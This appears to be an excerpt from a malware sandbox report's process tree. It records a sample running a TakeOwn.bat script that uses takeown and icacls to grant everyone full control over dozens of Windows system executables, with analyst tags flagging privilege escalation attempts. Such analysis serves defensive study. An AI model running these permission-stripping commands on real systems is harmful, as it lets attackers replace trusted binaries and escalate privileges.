C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\Windows.Media.BackgroundPlayback.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\Windows.Media.BackgroundPlayback.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\Windows.WARP.JITService.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\Windows.WARP.JITService.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\Windows.WARP.JITService.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\winrs.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\winrs.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\winrs.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\winrshost.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\winrshost.exe"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\winrshost.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\WinRTNetMUAHostServer.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\WinRTNetMUAHostServer.exe"3⤵
- Possible privilege escalation attempt
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\WinRTNetMUAHostServer.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\winver.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\winver.exe"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\winver.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\wlanext.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\wlanext.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\wlanext.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\wowreg32.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\wowreg32.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\wowreg32.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\WPDShextAutoplay.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\WPDShextAutoplay.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\WPDShextAutoplay.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\write.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\write.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\write.exe" /grant "everyone":(f)3⤵
- Possible privilege escalation attempt
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\wscadminui.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\wscadminui.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\wscadminui.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\wscript.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\wscript.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\wscript.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\WSManHTTPConfig.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\WSManHTTPConfig.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\WSManHTTPConfig.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\wsmprovhost.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\wsmprovhost.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\wsmprovhost.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\wusa.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\wusa.exe"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\wusa.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\WWAHost.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\WWAHost.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\WWAHost.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\xcopy.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\xcopy.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\xcopy.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\xwizard.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\xwizard.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\xwizard.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\SystemApps\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Microsoft.AAD.BrokerPlugin.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\SystemApps\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Microsoft.AAD.BrokerPlugin.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\SystemApps\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Microsoft.AAD.BrokerPlugin.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\SystemApps\Microsoft.AccountsControl_cw5n1h2txyewy\AccountsControlHost.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\SystemApps\Microsoft.AccountsControl_cw5n1h2txyewy\AccountsControlHost.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\SystemApps\Microsoft.AccountsControl_cw5n1h2txyewy\AccountsControlHost.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\SystemApps\Microsoft.AsyncTextService_8wekyb3d8bbwe\Microsoft.AsyncTextService.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\SystemApps\Microsoft.AsyncTextService_8wekyb3d8bbwe\Microsoft.AsyncTextService.exe"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\SystemApps\Microsoft.AsyncTextService_8wekyb3d8bbwe\Microsoft.AsyncTextService.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\SystemApps\Microsoft.BioEnrollment_cw5n1h2txyewy\BioEnrollmentHost.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\SystemApps\Microsoft.BioEnrollment_cw5n1h2txyewy\BioEnrollmentHost.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\SystemApps\Microsoft.BioEnrollment_cw5n1h2txyewy\BioEnrollmentHost.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\SystemApps\microsoft.creddialoghost_cw5n1h2txyewy\CredDialogHost.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\SystemApps\microsoft.creddialoghost_cw5n1h2txyewy\CredDialogHost.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\SystemApps\microsoft.creddialoghost_cw5n1h2txyewy\CredDialogHost.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\SystemApps\Microsoft.ECApp_8wekyb3d8bbwe\Microsoft.ECApp.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\SystemApps\Microsoft.ECApp_8wekyb3d8bbwe\Microsoft.ECApp.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\SystemApps\Microsoft.ECApp_8wekyb3d8bbwe\Microsoft.ECApp.exe" /grant "everyone":(f)3⤵
- Possible privilege escalation attempt
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\SystemApps\Microsoft.LockApp_cw5n1h2txyewy\LockApp.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\SystemApps\Microsoft.LockApp_cw5n1h2txyewy\LockApp.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\SystemApps\Microsoft.LockApp_cw5n1h2txyewy\LockApp.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\SystemApps\Microsoft.Win32WebViewHost_cw5n1h2txyewy\Win32WebViewHost.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\SystemApps\Microsoft.Win32WebViewHost_cw5n1h2txyewy\Win32WebViewHost.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\SystemApps\Microsoft.Win32WebViewHost_cw5n1h2txyewy\Win32WebViewHost.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\SystemApps\Microsoft.Windows.AddSuggestedFoldersToLibraryDialog_cw5n1h2txyewy\AddSuggestedFoldersToLibraryDialog.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\SystemApps\Microsoft.Windows.AddSuggestedFoldersToLibraryDialog_cw5n1h2txyewy\AddSuggestedFoldersToLibraryDialog.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\SystemApps\Microsoft.Windows.AddSuggestedFoldersToLibraryDialog_cw5n1h2txyewy\AddSuggestedFoldersToLibraryDialog.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\SystemApps\Microsoft.Windows.AppRep.ChxApp_cw5n1h2txyewy\CHXSmartScreen.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\SystemApps\Microsoft.Windows.AppRep.ChxApp_cw5n1h2txyewy\CHXSmartScreen.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\SystemApps\Microsoft.Windows.AppRep.ChxApp_cw5n1h2txyewy\CHXSmartScreen.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\SystemApps\Microsoft.Windows.AppResolverUX_cw5n1h2txyewy\AppResolverUX.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\SystemApps\Microsoft.Windows.AppResolverUX_cw5n1h2txyewy\AppResolverUX.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\SystemApps\Microsoft.Windows.AppResolverUX_cw5n1h2txyewy\AppResolverUX.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\SystemApps\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\AssignedAccessLockApp.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\SystemApps\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\AssignedAccessLockApp.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\SystemApps\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\AssignedAccessLockApp.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\SystemApps\Microsoft.Windows.CallingShellApp_cw5n1h2txyewy\CallingShellApp.exe"2⤵
- Executes a command shell one-liner
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\SystemApps\Microsoft.Windows.CallingShellApp_cw5n1h2txyewy\CallingShellApp.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\SystemApps\Microsoft.Windows.CallingShellApp_cw5n1h2txyewy\CallingShellApp.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\SystemApps\Microsoft.Windows.CapturePicker_cw5n1h2txyewy\CapturePicker.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\SystemApps\Microsoft.Windows.CapturePicker_cw5n1h2txyewy\CapturePicker.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\SystemApps\Microsoft.Windows.CapturePicker_cw5n1h2txyewy\CapturePicker.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\SystemApps\Microsoft.Windows.FileExplorer_cw5n1h2txyewy\FileExplorer.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\SystemApps\Microsoft.Windows.FileExplorer_cw5n1h2txyewy\FileExplorer.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\SystemApps\Microsoft.Windows.FileExplorer_cw5n1h2txyewy\FileExplorer.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\SystemApps\Microsoft.Windows.FilePicker_cw5n1h2txyewy\FilePicker.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\SystemApps\Microsoft.Windows.FilePicker_cw5n1h2txyewy\FilePicker.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\SystemApps\Microsoft.Windows.FilePicker_cw5n1h2txyewy\FilePicker.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\SystemApps\microsoft.windows.narratorquickstart_8wekyb3d8bbwe\NarratorQuickStart.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\SystemApps\microsoft.windows.narratorquickstart_8wekyb3d8bbwe\NarratorQuickStart.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\SystemApps\microsoft.windows.narratorquickstart_8wekyb3d8bbwe\NarratorQuickStart.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\SystemApps\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy\OOBENetworkCaptivePortal.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\SystemApps\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy\OOBENetworkCaptivePortal.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\SystemApps\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy\OOBENetworkCaptivePortal.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\SystemApps\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\OOBENetworkConnectionFlow.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\SystemApps\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\OOBENetworkConnectionFlow.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\SystemApps\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\OOBENetworkConnectionFlow.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\SystemApps\Microsoft.Windows.PeopleExperienceHost_cw5n1h2txyewy\PeopleExperienceHost.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\SystemApps\Microsoft.Windows.PeopleExperienceHost_cw5n1h2txyewy\PeopleExperienceHost.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\SystemApps\Microsoft.Windows.PeopleExperienceHost_cw5n1h2txyewy\PeopleExperienceHost.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\SystemApps\Microsoft.Windows.PinningConfirmationDialog_cw5n1h2txyewy\PinningConfirmationDialog.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\SystemApps\Microsoft.Windows.PinningConfirmationDialog_cw5n1h2txyewy\PinningConfirmationDialog.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\SystemApps\Microsoft.Windows.PinningConfirmationDialog_cw5n1h2txyewy\PinningConfirmationDialog.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\SystemApps\Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy\SecureAssessmentBrowser.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\SystemApps\Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy\SecureAssessmentBrowser.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\SystemApps\Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy\SecureAssessmentBrowser.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\SystemApps\Microsoft.Windows.XGpuEjectDialog_cw5n1h2txyewy\XGpuEjectDialog.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\SystemApps\Microsoft.Windows.XGpuEjectDialog_cw5n1h2txyewy\XGpuEjectDialog.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\SystemApps\Microsoft.Windows.XGpuEjectDialog_cw5n1h2txyewy\XGpuEjectDialog.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\SystemApps\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\XBox.TCUI.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\SystemApps\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\XBox.TCUI.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\SystemApps\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\XBox.TCUI.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\InputApp\TextInputHost.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\InputApp\TextInputHost.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\InputApp\TextInputHost.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\ScreenClipping\ScreenClippingHost.exe"2⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\ScreenClipping\ScreenClippingHost.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\ScreenClipping\ScreenClippingHost.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\SystemApps\MicrosoftWindows.UndockedDevKit_cw5n1h2txyewy\UndockedDevKit.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\SystemApps\MicrosoftWindows.UndockedDevKit_cw5n1h2txyewy\UndockedDevKit.exe"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\SystemApps\MicrosoftWindows.UndockedDevKit_cw5n1h2txyewy\UndockedDevKit.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\SystemApps\NcsiUwpApp_8wekyb3d8bbwe\NcsiUwpApp.exe"2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\SystemApps\NcsiUwpApp_8wekyb3d8bbwe\NcsiUwpApp.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\SystemApps\NcsiUwpApp_8wekyb3d8bbwe\NcsiUwpApp.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\SystemApps\ParentalControls_cw5n1h2txyewy\WpcUapApp.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\SystemApps\ParentalControls_cw5n1h2txyewy\WpcUapApp.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\SystemApps\ParentalControls_cw5n1h2txyewy\WpcUapApp.exe" /grant "everyone":(f)3⤵
- Possible privilege escalation attempt
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe" /grant "everyone":(f)3⤵
-
-
